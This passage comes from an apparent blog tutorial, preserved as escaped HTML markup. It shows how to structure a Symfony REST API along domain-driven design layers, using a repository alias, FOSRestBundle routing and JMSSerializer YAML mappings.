        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here is what you should get by running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tree src/&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;src
└── Acme
    ├── CoreDomain
    │   └── User
    │       ├── User.php
    │       ├── UserId.php
    │       └── UserRepository.php
    └── CoreDomainBundle
        ├── Repository
        │   └── InMemoryUserRepository.php
        └── AcmeCoreDomainBundle.php
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InMemoryUserRepository&lt;/code&gt; class is part of what people call the
&lt;strong&gt;Infrastructure Layer&lt;/strong&gt; in &lt;strong&gt;DDD&lt;/strong&gt;, and is located into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CoreDomainBundle&lt;/code&gt;
bundle because it is specific to the application. The &lt;strong&gt;Infrastructure Layer&lt;/strong&gt;
contains technical services, persistence, and more generally, concrete
implementations of the &lt;strong&gt;Domain Layer&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Register a new service named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_repository&lt;/code&gt; so that the &lt;strong&gt;Application Layer&lt;/strong&gt;
is able to access the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserRepository&lt;/code&gt; repository. The
&lt;strong&gt;Application Layer&lt;/strong&gt; can be seen as the &lt;strong&gt;Controller Layer&lt;/strong&gt; in a
&lt;a href=&quot;http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller&quot;&gt;Model-View-Controller&lt;/a&gt;
architecture. The &lt;strong&gt;Application Layer&lt;/strong&gt; is in charge of &lt;strong&gt;coordinating the
actions to be performed on the domain&lt;/strong&gt;, and delegates all domain actions to the
domain itself. This layer is kept thin. It &lt;strong&gt;does not contain business rules&lt;/strong&gt;
or knowledge. It &lt;strong&gt;does not have state reflecting the business situation&lt;/strong&gt;, but
it &lt;strong&gt;can have state that reflects the progress of a task&lt;/strong&gt; for the user or the
program.&lt;/p&gt;

&lt;p&gt;By the way, you will need to &lt;a href=&quot;http://symfony.com/doc/current/cookbook/bundles/extension.html#loading-external-configuration-resources&quot;&gt;write an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Extension&lt;/code&gt; class in order to load bundle’s service
configuration&lt;/a&gt;
but I won’t cover that part.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_repository&lt;/code&gt; service acts as an &lt;strong&gt;interface&lt;/strong&gt;. It is an
&lt;a href=&quot;http://symfony.com/doc/current/components/dependency_injection/advanced.html#aliasing&quot;&gt;alias&lt;/a&gt;
that points to a &lt;strong&gt;concrete implementation&lt;/strong&gt; which is a &lt;strong&gt;non-public&lt;/strong&gt; service:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- src/Acme/CoreDomainBundle/Resources/config/repositories.xml --&amp;gt;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; ?&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;container&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://symfony.com/schema/dic/services&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;xmlns:xsi=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;xsi:schemaLocation=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;nt&quot;&gt;&amp;lt;parameters&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;parameter&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;key=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user_repository.in_memory.class&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Acme\CoreDomainBundle\Repository\InMemoryUserRepository&lt;span class=&quot;nt&quot;&gt;&amp;lt;/parameter&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/parameters&amp;gt;&lt;/span&gt;

    &lt;span class=&quot;nt&quot;&gt;&amp;lt;services&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;c&quot;&gt;&amp;lt;!-- Exposed Services --&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;service&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user_repository&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;alias=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user_repository.in_memory&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/service&amp;gt;&lt;/span&gt;

        &lt;span class=&quot;c&quot;&gt;&amp;lt;!-- Concrete Implementations --&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;service&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;user_repository.in_memory&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;public=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;false&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%user_repository.in_memory.class%&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/service&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/services&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/container&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Later when you will choose your persistence layer, you will just have to change
the alias to another concrete implementation like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;user_repository.doctrine&lt;/code&gt; for
instance, but you won’t have to change your &lt;strong&gt;Application Layer&lt;/strong&gt; code.&lt;/p&gt;

&lt;h2 id=&quot;the-application-layer&quot;&gt;The Application Layer&lt;/h2&gt;

&lt;p&gt;What you have to build is a REST API. The code will live in a bundle named
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ApiBundle&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;src
└── Acme
    ├── ApiBundle
    │   ├── Controller
    │   │   └── UserController.php
    │   ├── Resources
    │   │   └── config
    │   │       └── routing.yml
    │   └── AcmeApiBundle.php
    ├── CoreDomain
    │   └── User
    │       ├── User.php
    │       ├── UserId.php
    │       └── UserRepository.php
    └── CoreDomainBundle
        ├── DependencyInjection
        │   └── AcmeCoreDomainExtension.php
        ├── Repository
        │   └── InMemoryUserRepository.php
        └── AcmeCoreDomainBundle.php
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You will need the following dependencies in your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;composer.json&lt;/code&gt; file:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;&quot;require&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;err&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;friendsofsymfony/rest-bundle&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0.13.*@dev&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;jms/serializer-bundle&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0.12.*@dev&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Don’t forget to register the bundles in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppKernel&lt;/code&gt; class.&lt;/p&gt;

&lt;p&gt;For now, you will implement only one action to retrieve all users into your
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserController&lt;/code&gt; class:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Acme\ApiBundle\Controller&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;FOS\RestBundle\Controller\Annotations&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Rest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Bundle\FrameworkBundle\Controller\Controller&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserController&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Controller&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;cd&quot;&gt;/**
     * @Rest\View
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;allAction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$users&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;user_repository&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;findAll&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;users&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There is no black magic here, things won’t work out of the box. Let’s take a
look at the configuration. First, you need to add a new route to your routing
definition:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# src/Acme/ApiBundle/Resources/config/routing.yml&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;acme_api.user_all&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;pattern&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;/users.{_format}&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;defaults&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_controller&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;AcmeApiBundle&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_format&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;~&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;requirements&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;_method&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;GET&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You also need to configure both
&lt;a href=&quot;https://github.com/friendsofsymfony/FOSRestBundle&quot;&gt;FOSRestBundle&lt;/a&gt; and
&lt;a href=&quot;https://github.com/sensiolabs/SensioFrameworkExtraBundle&quot;&gt;SensioFrameworkExtraBundle&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# app/config/config.yml&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;fos_rest&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;view_response_listener&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;force&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;format_listener&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;default_priorities&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;json&quot;&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;html&quot;&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;*/*&quot;&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;fallback_format&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;json&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;prefer_extension&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;

&lt;span class=&quot;na&quot;&gt;sensio_framework_extra&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;false&lt;/span&gt; &lt;span class=&quot;pi&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At this time, you should be able to access &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://yourproject.local/users&lt;/code&gt;, but
it should throw an exception saying the Twig template named
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AcmeApiBundle:User:all.html.twig&lt;/code&gt; does not exist.
However, if you browse &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;http://yourproject.local/users.json&lt;/code&gt;, you should get JSON
content containing your users.&lt;/p&gt;

&lt;p&gt;Thing is, it is not well serialized. That is because you didn’t configure
&lt;a href=&quot;https://github.com/schmittjoh/JMSSerializerBundle&quot;&gt;JMSSerializerBundle&lt;/a&gt; yet.
First of all, you need to tell the
&lt;a href=&quot;https://github.com/schmittjoh/serializer&quot;&gt;Serializer&lt;/a&gt; where to find
configuration files:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# app/config/config.yml&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;jms_serializer&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;directories&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;CoreDomain&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;namespace_prefix&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Acme&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;CoreDomain&quot;&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;@AcmeApiBundle/Resources/config/serializer/&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ApiBundle&lt;/code&gt; owns the serializer configuration, it is one of its
responsibilities. As you can see, I &lt;strong&gt;use a YAML configuration file&lt;/strong&gt;, not
annotations, because I don’t want to pollute the agnostic &lt;strong&gt;Domain Layer&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Here is the configuration file for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User&lt;/code&gt; entity:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# src/Acme/ApiBundle/Resources/config/serializer/User.User.yml&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Acme\CoreDomain\User\User&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;exclusion_policy&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ALL&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;expose&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;inline&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;firstName&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;expose&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;serialized_name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;first_name&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;lastName&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;expose&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;serialized_name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;last_name&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And here is the configuration file for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserId&lt;/code&gt; value object:&lt;/p&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;# src/Acme/ApiBundle/Resources/config/serializer/User.UserId.yml&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;Acme\CoreDomain\User\UserId&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;exclusion_policy&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ALL&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;properties&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;expose&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;true&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;serialized_name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That should give you the following JSON content:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;users&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;8CE05088-ED1F-43E9-A415-3B3792655A9B&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;first_name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;John&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;last_name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Doe&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
